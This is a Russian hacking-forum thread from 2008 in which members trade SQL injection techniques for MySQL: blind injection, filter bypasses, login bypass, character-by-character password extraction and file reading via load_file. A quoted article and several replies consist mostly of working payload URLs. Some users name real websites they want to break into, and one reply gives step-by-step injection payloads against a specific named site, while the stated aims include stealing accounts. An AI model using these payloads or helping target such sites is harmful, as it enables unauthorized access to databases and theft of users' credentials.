RE: Кто объяснит вопрос по TABLE_SCHEMA?
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 11:07:50.233333
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
Возможно слово юнион просто вырезается quote:
я проверил, это не фильтрация, они просто не работают. Например id=1/*UNION работает Тогда получится "id=1/*" и тогда оно тоже будет верным Ошибки выводятся? Попробуй раскрутить как blind sql.
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 12:50:25.826666
|
|
|
S00pY
Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666
|
quote:
ORIGINAL: oRb Возможно слово юнион просто вырезается quote:
я проверил, это не фильтрация, они просто не работают. Например id=1/*UNION работает Тогда получится "id=1/*" и тогда оно тоже будет верным Ошибки выводятся? Попробуй раскрутить как blind sql. Насчёт блинды он говорит подзапросы не катят(( Хотя надо взглянуть своими слегка опухшими глазами )) Выложи урл…
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 14:57:12.873333
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
quote:
quote:
ORIGINAL: horiz Например id=1/*UNION работает и не будет, синтаксис неправильный id=1/**/UNION/**/SELECT/**/1,2,3… Этим запросом я проверял, фильтрует ли скрипт слово UNION. Так как ошибки не было, значит не фильтрует, а ошибку вызывает сам мускул (если это он). quote:
Возможно слово юнион просто вырезается quote:
я проверил, это не фильтрация, они просто не работают. Например id=1/*UNION работает Тогда получится "id=1/*" и тогда оно тоже будет верным Ошибки выводятся? Если UNION и вырезается то рекурсивно (хотя лично я сомневаюсь в том, что ихние кодеры знают, что это такое:)), я пробовал uniUNIONon . Когда я пробую ORDER BY грузится страница, но когда число больше кол-ва столбцов, в месте вывода контента появляется "Ошибка: WARNING" а шапка и ноги остаются. Но когда я пробую UNION или подзапросы, или просто неверный синтаксис (UNON и т.д.) страница уже не грузится а вылетает "Ошибка: WARNING Ошибка: WARNING". Т.е. такое ощущение, будто скулу, что UNION, что blablabla все едино Сейчас хочу попробовать слепым перебором хоть версию вытащить. quote:
Хотя надо взглянуть своими слегка опухшими глазами )) Выложи урл… Господа извините, но урла я Вам выдать не могу.
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 20:14:34.540000
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Слепым перебором мне удалось вытащить, что это MySQL 3.23. Чё с ним делать ума не приложу.
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 20:41:18.166666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
SIPT 4.0
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 20:57:43.213333
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
А если мне интересно ручками инжекты ковырять?:) Прогами - это неспортивно.
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:05:40.120000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Брутить ручками? Ню-ню
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:11:15.023333
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Так что именно брутить, если ни UNION ни подзапросы не работают? Допустим database() и user(), но что мне это даст?
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:15:43.556666
|
|
|
koro
Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
|
quote:
ORIGINAL: Pashkela SIPT 4.0 я сам пользуюсь, но иногда бывает ему уже полураскрученную скуль кидаешь а он не видит нифига… п.с. естесно настраиваю правильно
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:24:10.010000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Union была введена начиная с 4-ой версии вот пока почитай: http://www.xakep.ru/magazine/xa/111/056/1.asp
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:42:17.463333
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Я эту статью читал сто раз. Какое она имеет отношение к такому мамонту, как MySQL 3.23?
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:47:00.166666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
MySQL v3.x Injection
INTRO
Почему я решил о ней тебе рассказать? Потому что, если ты читал статью Константина, ты знаешь, что есть оператор объединения UNION (а если не читал и не знаешь-то исправь сие недоразумение =) ). Но есть одно НО: в третьей версии мускла его не существует! Т.е. как бы ты ни пытался вводить запросы типа:
http://victim.com/news.php?id=1+UNION+SELECT+*+from+mysql.user/*
то скрипт тебя упорно будет посылать (нет, не туда, куда ты подумал =)) на страницу с ошибкой. Что же делать - спросишь ты, - Ведь злонамеренный запрос не исполнится, а значит я не получу заветную базу данных в мою коллекцию?! Нет, - скажу я. Есть такое понятие как дихотомический поиск. Под этим страшным названием скрывается довольно обычная вещь - запросы перебора. Что это такое? Например, ты хочешь узнать версию мускла. В обычных условиях ты выполнишь UNION-оператор с запросом типа UNION+SELECT+VERSION() в самом простом раскладе, но такая тема тут не прокатит.
Код:
http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(), 1,1)))<82
http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(), 1,1)))<60
http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(), 1,1)))>49
http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(),1,1)))=55
При таком запросе возможно выведение версии БД. Давай рассмотрим запрос поближе:
--> Функция ascii(ch) возвращает ascii-код символов ”ch”, переданных в качестве параметра.
--> Функция substring(str, num, count) возвращает символы из строки ”str” с номера символа ”num” по количество символов ”count”. Далее все выражение сравнивается с кодом символа.
После того, как ты найдешь правильный символ, страница будет выведена без ошибки.
Допустим, надо проверить доступ твоего юзера к mysql.user:
Код:
http://victim.com/news.php?id=1+and+ascii(lower(substring((SELECT+pa ssword+FROM+mysql.user),1,1)))>0[/b]
Если сценарий ничего полезного не вернул, то прав у тебя на БД нет.
Tricks
Если идет какая та фильтрация, если ты не можешь узнать что-то, это не повод расстраиваться! Существуют некоторые полезные вещи, которые ты можешь использовать:
Пройти авторизацию при недостаточной фильтрации:
Код:
http://victim.com/admin.php?pass=test'+or+1/*
http://victim.com/admin.php?pass=test'+and+1/*
Таким образом, проверяя скрипт, можно пройти авторизацию, не зная пароля.
Также с помощью limit можно пройти авторизацию за любого клиента БД.
Подсчет количества полей также используется с limit-параметром:
Код:
http://victim.com/admin.php?pass=test'+or+1+limit+10,1/*
http://victim.com/admin.php?pass=test'+or+1+limit+6,1/*
http://victim.com/admin.php?pass=test'+or+1+limit+5,1/*
http://victim.com/admin.php?pass=test'+or+1+limit+3,1/*
Последний и предпоследний запросы не возвратили ошибку, следовательно, количество полей - 5.
Также хакер может получить имена столбцов, перебором таблиц в булевых запросах:
Код:
http://victim.com/admin.php?pass=test'+or+1/*
http://victim.com/admin.php?pass=test'+or+name=name/*
http://victim.com/admin.php?pass=test'+or+password=password/*
http://victim.com/admin.php?pass=test'+or+pass=pass/*
Запрос без ошибки покажет, что данный столбец существует.
Иногда при наличии двух и более таблиц, понадобится кроме имени столбца указать еще им или псевдоним таблицы:
Код:
http://victim.com/admin.php?pass=test'+or+1/*
http://victim.com/admin.php?pass=test'+or+passwords.name=passwords.name/*
http://victim.com/admin.php?pass=test'+or+passwords.login=passwords.login/*
http://victim.com/admin.php?pass=test'+or+passwords.password=passwords.password/*
http://victim.com/admin.php?pass=test'+or+passwords.pass=passwords.pass/*
Опять таки, при отсутствии ошибок, данные существуют.
Для последовательного подбора символов пароля можно сделать так:
Код:
http://victim.com/admin.php?pass=test'+or+pass+like+'a%'/*
http://victim.com/admin.php?pass=test'+or+pass+like+'b%'/*
...
http://victim.com/admin.php?pass=test'+or+pass+like+'h%'/*
Последний запрос не вывел ошибку, следовательно, у пользователя helkern_admin пароль начинается с буквы ”h”. Точно также подбираются остальные символы:
Код:
http://victim.com/admin.php?pass=test'+or+pass+like+'ha%'/*
…
http://victim.com/admin.php?pass=test'+or+pass+like+'hacked%'/*
http://victim.com/admin.php?pass=test'+or+pass+like+'hacked_%00'/*
Последний запрос вызвал ошибку, что в доступе отказано. Следовательно, пароль админа helkern'а будет hacked.
Аналогичным образом можно вместо оператора like (допустим при фильтрации сего) использовать операторы сравнения:
Код:
http://victim.com/admin.php?pass=test'+or+pass+>+'r'/*
..
http://victim.com/admin.php?pass=test'+or+pass+>+'z'/*
Ошибка! Значит, пароль начнется с ”z”. Также подбираем остальные символы.
Подбор пароля происходит таким же образом.
Что если у тебя заказ на какого то конкретного юзверя Васю, а не на великого админа helkern'а? ( сильно не пинайте за мою любовь к себе. тихо сам с собою, левою рукою =) ). Можно конечно поиметь пароль админа, но настоящие хеки делают все честно - подбирают пароль юзера Васи следующим образом:
Код:
http://victim.com/admin.php?pass=test'+or+pass+like+'o%'+and+login=' вася'/*
http://victim.com/admin.php?pass=test'+or+pass+like+'on%'+and+login= 'вася'/*
...
http://victim.com/admin.php?pass=test'+or+pass+like+'onanist_%'+and+ login='вася'/*
В последнем запросе выдалась ошибка, значит, пароль юзера васи будет onanist. "Кто что хочет, то и дрочит (c) rijy =) ".
Также есть еще один интересный способ узнать версию БД:
Код:
http://victim.com/news.php?id=1+/*!00000+and+0+*/
http://victim.com/news.php?id=1+/*!30000+and+0+*/
http://victim.com/news.php?id=1+/*!40000+and+0+*/
http://victim.com/news.php?id=1+/*!50000+and+0+*/
Допустим, появилось сообщение во втором запросе, что записи не найдены. Это значит, что версия равна как минимум 3.0. Сообщение об ошибке в 3 запросе свидетельствует о сервере версии 4.0.
Используем дихотомический поиск:
Код:
http://victim.com/news.php?id=1+/*!00000+and+0+*/
записи не найдены
http://victim.com/news.php?id=1+/*!20000+and+0+*/
записи не найдены
http://victim.com/news.php?id=1+/*!30000+and+0+*/
записи не найдены
http://victim.com/news.php?id=1+/*!40000+and+0+*/
какое то значение => Сервер имеет БД типа 3.x
http://victim.com/news.php?id=1+/*!32000+and+0+*/
записи не найдены
http://victim.com/news.php?id=1+/*!33000+and+0+*/
какое то значение => Сервер имеет БД типа 3.2x.xx
http://victim.com/news.php?id=1+/*!32500+and+0+*/
какое то значение
Версия меньше 3.25.00
http://victim.com/news.php?id=1+/*!32300+and+0+*/
записи не найдены
Версия больше 3.23.00
http://victim.com/news.php?id=1+/*!32400+and+0+*/
какое то значение версия вида 3.23.xx[
http://victim.com/news.php?id=1+/*!323350+and+0+*/
какое то занчение == Версия меньше 3.23.50
http://victim.com/news.php?id=1+/*!32330+and+0+*/
записи не найдены == Версия вида 3.23.4x[
http://victim.com/news.php?id=1+/*!32345+and+0+*/
какое то значение == Версия меньше 3.23.45
http://victim.com/news.php?id=1+/*!32343+and+0+*/
записи не найдены == 3.23.43
http://victim.com/news.php?id=1+/*!32344+and+0+*/
какое то значение
Версия БД равна 3.23.45. Так что такой поиск аналогичен функции version().
OUTRO
На этом мы закончили вводный курс в дихотомический поиск или "Fuck The MySQL 3.x". Теперь ты достаточно знаешь, чтобы хвалиться перед друзьями собранными акками с крутых порталов =) Удачи тебе, перец!
(c) Helkern
+ вот: http://www.securitylab.ru/contest/212101.php + вот: http://forum.antichat.ru/threadnav37037-3-10-blind+sql.html + вот: http://forum.antichat.ru/thread84949-blind+sql.html +вот: https://forum.antichat.ru/threadnav43966-1-10.html + вот: http://forum.antichat.ru/thread56221-blind+sql.html
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 22:07:32.573333
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Спасибо большое (+2) Pashkela!
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 18:44:39.006666
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Подскажите пожалуйста. Допустим на некотором сайте выполняется запрос: SELECT * FROM users WHERE name='[name]' AND pass='[pass]'; Параметры [name] и [pass] передаются через GET/POST. Совсем ли это дохлый номер при экранировании кавычек? (Случаи с двойным урлэнкодом и тупым брутом не рассматриваю) и еще, существуют ли способы обхода защиты типа: $id=(INT)$_GET[id]; Может есть для этого какие-нибудь баги в PHP?
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 20:06:42.506666
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
quote:
$id=(INT)$_GET[id]; без шансов А про экранирование: есть возможность, но это только при определенных кодировках (читай последний ][)
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 20:32:37.086666
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Спасибо oRb. (+) Но все равно я из этого ничего не смогу выжать. Я ведь арабов ломать не собираюсь.:) Тут еще вот такой вопрос есть: как я могу проверить, включены ли register_globals на сервере?
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 20:44:34.240000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Это являестся одной из угроз безопасноти,которая более-менее исправлена.ну иногда навстречаются сервера без патча,потмоу упомяну.
Еще из php b php4,во время передачи данных в скриптах в качестве зарегистрированных глобальных переменных.Например:
Код:
script.php?somevar=blahblah&anothervar=123
Если пхп настройки вашего сервера позволяют зарегистрированные глобальных переменных,переменные somevar и anothervar станут глобальные переменные PHP $ somevar (содержащие строку "blahblah") и $ anothervar (содержит целое число 123).
Вы не должны использовать громоздкие $ _GET [ 'somevar'] и $ _GET [ 'anothervar'].Так как это создает угрозу безопасности.Если злоумышленник каким-то образом узнает имена переменных в ваших скриптах и приходит к выводу о том, что вы используете переменные без ее инициализации , все что он доллжен сделать, это пройти на определнный юрл, как в примере выше.
Часто испоьзуют "неинициализированные" переменные,тоесть:
Код:
<?php if ($a=1) $somevar="thisorthat";
$res= mysql_query("INSERT INTO sometable (somefield) VALUES ('{$somevar}')");
?>
Начинающий PHP-программист думает , что $ somevar является NULL, если $ не 1 , поэтому SQL будет действителен. Но хакер увидит возможность!
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 21:41:32.586666
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Pashkela, я это понимаю. Я хочу узнать, как мне без ковыряния исходников (только командами) определить включены ли register_globals или нет?
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-08 00:12:22.850000
|
|
|
bobik23
Сообщений: 129
Оценки: 0
Присоединился: 2008-09-20 00:35:23.616666
|
http://chess.rambler.ru/app_support/SmartError.aspx?1&eid=rainbow_rb_Admin_e620382a3eea44be9fa3c07a62bc84d7 плиз подскажите вот тут один сайт я хотел-бы только узнать есть тут уязвимость кокая-нить, не могу найти sql injection
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-08 16:55:07.826666
|
|
|
bobik23
Сообщений: 129
Оценки: 0
Присоединился: 2008-09-20 00:35:23.616666
|
да понятно что в этом запросе нет я хотел -бы знать сайт уезвим или нет ,и как проверить на уезвимость http://www.chessplanet.ru/ сам он написан на html а когда я подстовляю doc http://www.chessplanet.ru/doc/ то страничка после переключается в конце aspx я еге весь перековырял не ужели есть сайты которые не возможно ламонуть http://chess.rambler.ru/Portals/_Rainbow/testFlash/flashversion.aspx самое важное тут как заюзать
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-08 17:39:13.826666
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Я только начинающий, но мысли есть: 1) quote:
сам он написан на html Возмодно интерпритатор настроен на интерпритирование кода в документах *.html В таком случае код может только собирать статистические сведения и куда-нибудь их сохранять (скорее всего в БД). 2) Возможно все, что передается после http://www.chessplanet.ru/doc/ является не файлом, а параметром. З.Ы. Если тебе это поможет, то мне сказали на http://madnet.name/tools/madss/ следующее: http://www.chessplanet.ru
IP: 81.176.69.181 []
ТИЦ: 400
PR: 5
Reverse DNS:
s6.in-solve.com
Запрещено к индексированию:
Не найден
Сайты на сервере(ReverseIP):
arivik-reisen.ru [81.176.69.181]
asa.1gb.ru [81.176.69.181]
asa.1gb.ru [81.176.69.181]
avant.1gb.ru [81.176.69.181]
avant.1gb.ru [81.176.69.181]
besdesign.ru [81.176.69.181]
bn.eup.ru [81.176.69.181]
bn.eup.ru [81.176.69.181]
chessplanet.ru [81.176.69.181]
chessplanet.ru [81.176.69.181]
citroen-ds.1gb.ru [81.176.69.181]
citroen-ds.1gb.ru [81.176.69.181]
cmpefl.1gb.ru [can't get ip]
cmpefl.1gb.ru [can't get ip]
counter.1gb.ru [81.176.69.181]
counter.1gb.ru [81.176.69.181]
dedcharter.ru [81.176.69.181]
doodley.1gb.ru [81.176.69.181]
eroshenko.1gb.ru [81.176.69.181]
eroshenko.1gb.ru [81.176.69.181]
fist-samgasa.1gb.ru
fist-samgasa.1gb.ru
geofaker.1gb.ru
geofaker.1gb.ru
inbanner.1gb.ru
iv-arta.ru
ivanovojbi.ru
ivanovojbi.ru
ivcement.1gb.ru
jvnd.ru
knockdown.ru
knockdown.ru
label.doodley.ru
label.doodley.ru
livelectro.1gb.ru
livelectro.1gb.ru
livelectro.ru
magdynasty.ru
magdynasty.ru
monamy.ru
moscow.1gb.ru
moscow.1gb.ru
navigator-omsk.ru
navigator-omsk.ru
photo.in-solve.ru
photo.in-solve.ru
posad.1gb.ru
posad.1gb.ru
puttingsoft.1gb.ru
shipilov.net
ups.saper.ru
ups.saper.ru
www.4dr.ru
www.acetime.ru
www.acetime.ru
www.antonsedov.com
www.arivik-reisen.ru
www.avantmusic.ru
www.avantmusic.ru
www.avjp.ru
www.avjp.ru
www.awd17.com
www.awd17.md
www.awd17.md
www.awdesign.ru
www.awdesign.ru
www.billiardmaster.ru
www.bristars.ru
www.bristars.ru
www.chessonline.ru
www.educatrain.ru
www.educatrain.ru
www.expressia.ru
www.expressia.ru
www.fitnes-malino.ru
www.globus-ivanovo.ru
www.happygift.ru
www.happygift.ru
www.isf-consult.ru
www.isf-consult.ru
www.iskatel.net
www.iskatel.net
www.ivcement.ru
www.ivcement.ru
www.jerseytour.ru
www.jerseytour.ru
www.jvnd.ru
www.mirakb.ru
www.monamy.ru
www.mygarage.ru
www.mygarage.ru
www.npoagat.ru
www.npoagat.ru
www.npstoik.ru
www.npstoik.ru
www.optimal-center.ru
www.optimal-center.ru
www.paritet-translation.ru
www.presents-tea.ru
www.progsrv.ru
www.progsrv.ru
www.ragga.ru
www.ragga.ru
www.remont-mebel.ru
www.remont-mebel.ru
www.renessans-plus.ru
www.renessans-plus.ru
www.sb-vip.ru
www.sb-vip.ru
www.sfera-ts.ru
www.sfera-ts.ru
www.shipilov.net
www.sibe.ru
www.sibe.ru
www.skybuild.ru
www.sonnoecarstvo.ru
www.sonnoecarstvo.ru
www.specdetail.ru
www.subook.ru
www.svarka-splav.ru
www.svarka-splav.ru
www.tenzo.ru
www.tenzo.ru
www.traveller.msk.ru
www.traveller.msk.ru
www.vdhotel.ru
www.vdhotel.ru
zizz.ru
Структура сайта:
root
chessplanet.ru
|
|
|
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-08 18:09:20.793333
|
|
|
koro
Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
|
quote:
Возмодно интерпритатор настроен на интерпритирование кода в документах *.html извиняюсь недопонял, а как это?
|
|
|
Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-08 19:06:35.513333
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
quote:
извиняюсь недопонял, а как это? Серверу все равно какое у файла расширение, какое настроешь такое и будет. зы: Не оффтопим!! Тема про скл-инъекции
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-10 12:56:53.363333
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Сидел я на лекции… И тут зашла ко мне в голову интересная мысля на тему блинд инъектов. Допустим, есть на сайте выбор страницы из базы по id. (распространенный случай) SELECT * FROM pages WHERE id=[id]; И, допустим, UNION не работает. (кодер не полный лох и поставил фильтрацию по нему) Что остается? Слепая инъекция. А теперь допустим, что инфы нужно извлечь много. Перебор по попаданию кода символа в определенный диапазон получится ОЧЕНЬ долгим. А теперь допустим, что страниц в базе много. (для полного кайфа >=255) Тогда можно получать один символ за один запрос!!!:) Пишем брут, который сначала перебором создаст базу всех страниц. ?id=1 ?id=2 … ?id=255 Вторым шагом будет собственно сбручивание всего подряд. ?id=ascii(substring((SELECT…),1,1)) И таким образом по виду вернувшейся страницы, мы точно узнаем код символа. Если еще для всех генерируемых страниц будут разные титлы, то даже не понадобится догружать страницу целиком. Даже если выводимых страниц мало, для тех же хешей паролей нам нужно будет всего 16 страниц, айдишники которых можно будет связать уравнением с возвращаемыми кодами символов. А теперь рассмотрим совсем хронический случай, когда не работает не только UNION, но и SELECT. (Опять же, кодер не полный лох и поставил фильтрацию и по нему, или же админ полный лох и юзает MySQL MAMONT EDITION <4.0:)) В таком случае при наличии прав можно брутом посимвольно читать файлы на сервере. ?id = ascii(substring(load_file(“filename.php”),1,1)); Как правило, много брутить не придется, т.к. вшитые пароли, инклуды и т.д. обычно помещают в начале кода. Ну, вот вроде и все. Жду Ваших отзывов. З.Ы. Заранее извиняюсь, если изобрел велосипед.
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-10 20:32:19.536666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Дело не велосипеде, просто есть такое слово - автоматизация. О чем я тебе и писал чуть повыше. Ты тогда сказал "ручками" интересней". Но сам пришел к правильному решению (пост твой внимательно не читал, но видно, что таки приходим к бруту прогамным путем)
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-10 21:05:24.886666
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
В тот раз я видимо неправильно выразился. Я имел в виду, что ручками интересней ломать - прощупывать дырку, определять типы фильтраций и т.д. Брутить уже ощупанную дыру руками, ясное дело, будет только мазохист. В случае, который я рассмотрел автоматизированный брут идет гораздо быстрее и расширяются его возможности.
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 20:11:37.780000
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
quote:
З.Ы. Заранее извиняюсь, если изобрел велосипед. Вообщем ты не изобрел, что-то новое, просто врубился в тему ;) quote:
Пишем брут, который сначала перебором создаст базу всех страниц. ?id=1 ?id=2 … ?id=255 Вот это не совсем понятно зачем. quote:
В таком случае при наличии прав можно брутом посимвольно читать файлы на сервере. ?id = ascii(substring(load_file(“filename.php”),1,1)); У пользователя бд должны быть включены файловые привилегии. quote:
И, допустим, UNION не работает. (кодер не полный лох и поставил фильтрацию по нему) Если Union просто выреается, то можно попробовать использовать конструкции типа: UNIunionON. Если админ не использует рекурсивное вырезание. ЗЫ: я использовал mysqlinjtool с поддержкой Blind SQL + допиливал его под разные сайты.
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 20:23:04.656666
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
quote:
quote:
Пишем брут, который сначала перебором создаст базу всех страниц. ?id=1 ?id=2 … ?id=255 Вот это не совсем понятно зачем. Как зачем. А с чем же брут будет сравнивать полученный результат? В этом случае, за один запрос, я буду получать не одно значение из двух как при обычной слепой инъекции, а одно из 256. В этом то вся фишка. Получается, что я извлеку любой символ за один запрос.:) quote:
quote:
И, допустим, UNION не работает. (кодер не полный лох и поставил фильтрацию по нему) Если Union просто выреается, то можно попробовать использовать конструкции типа: UNIunionON. Если админ не использует рекурсивное вырезание. Если бы я писал защиту, то не вырезал бы команды, а прерывал бы работу при их нахождении. quote:
quote:
В таком случае при наличии прав можно брутом посимвольно читать файлы на сервере. ?id = ascii(substring(load_file(“filename.php”),1,1)); У пользователя бд должны быть включены файловые привилегии. Я же так и написал.
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 20:47:57.156666
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
quote:
ORIGINAL: horiz quote:
quote:
Пишем брут, который сначала перебором создаст базу всех страниц. ?id=1 ?id=2 … ?id=255 Вот это не совсем понятно зачем. Как зачем. А с чем же брут будет сравнивать полученный результат? В этом случае, за один запрос, я буду получать не одно значение из двух как при обычной слепой инъекции, а одно из 256. В этом то вся фишка. Получается, что я извлеку любой символ за один запрос.:) Все понял тебя. Можно себе упростить задачу, вернее даже нужно. ?id=1 and ascii(substring((SELECT…),1,1))=1 Тогда если будет правильный резльтат страница выведется, то есть не надо скачивать 200 страниц с сайта ;)
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 21:02:29.983333
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
quote:
?id=1 and ascii(substring((SELECT…),1,1))=1 Я не совсем понял, что ты хотел сказать. При переборе так каждого значения мне понадобится 256 запросов на один сбрученый символ. Для того чтобы за один запрос идетифицировать зачение 1 из 256 (то есть один символ) мне надо знать какому номеру (ascii-коду) соответствует вернувшаяся страница. для этого мне заранее надо будет создать базу соответствий: номер->вид страницы. Мой запрос будет возвращать страницу под номером текущего символа.
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 21:23:47.140000
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
Да, тоже не плохой вариант, но если страниц меньше чем 256, то жопа:) Можно пользоваться >, <, =. Тогда количество запросов сократится в разы.
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 21:50:35.440000
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Почему же жопа? Во-первых, не все символы [0-255] используются. Во-вторых, можно использовать два запроса на один символ. Тогда будет достаточно 16 страниц. Я уже практически составил эти запросы. Старые блинды ориентировались на ответ "страница или ошибка", т.е. для сбручивания одного символа надо аж 8 запросов! Для сбручивания по моему принципу "какой id соответствует вернувшейся странице" один символ можно сбрутить за 1, в худшем случае 2 запроса!!!!!!!!!!!:):):) В любом случае колоссальный выигрыш.
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-21 14:52:48.300000
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Подскажите кто-нибудь. Когда я отправляю неверный запрос, на одних серваках вылетает ошибка PHP, мол, ошибка в таком-то файле, такой-то строке (с открытием полного пути к файлу). Вылет таких ошибок регламентирует DISPLAY_ERRORS=on|off. Но на других серваках вылетает ошибка мускула, открывающая запрос к базе. Отчего так происходит? Это директивы конфигурации самого мускула?
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-22 17:40:28.350000
|
|
|
alex7474
Сообщений: 54
Оценки: 0
Присоединился: 2008-09-11 11:29:55.193333
|
помогите подобрать иньекцию или подтолкните меня безтолкового !( http://www.usetender.com/view_other_company_face.shtml?sid=&faceid=-1
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-22 18:13:26.736666
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
quote:
помогите подобрать иньекцию или подтолкните меня безтолкового !( http://www.usetender.com/view_other_company_face.shtml?sid=&faceid=-1 1) Определяем наличие дыры. &faceid=1 &faceid=2-1 Если результаты будут одинаковы, то здесь дыра. Если нет ошибок и разные результаты - то это дохлый номер. 2) Определение типа БД &faceid=1+/*!00000 '*/ Если вылетела ошибка значит это мускул 3) UNION &faceid=-1+UNION+SELECT+1– &faceid=-1+UNION+SELECT+1,2– &faceid=-1+UNION+SELECT+1,2,3– и т.д. пока не перестанет вылетать ошибка. Допустим сработал запрос: &faceid=-1+UNION+SELECT+1,2,3– И где-нибудь вылезла цифра 2. Значит второе поле выводится. &faceid=-1+UNION+SELECT+1,version(),3– &faceid=-1+UNION+SELECT+1,database(),3– &faceid=-1+UNION+SELECT+1,user(),3– Если версия выше 5 считай, что тебе повезло. Попробуй и напиши, что получилось.
|
|
|
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-22 18:23:58.536666
|
|
|
alex7474
Сообщений: 54
Оценки: 0
Присоединился: 2008-09-11 11:29:55.193333
|
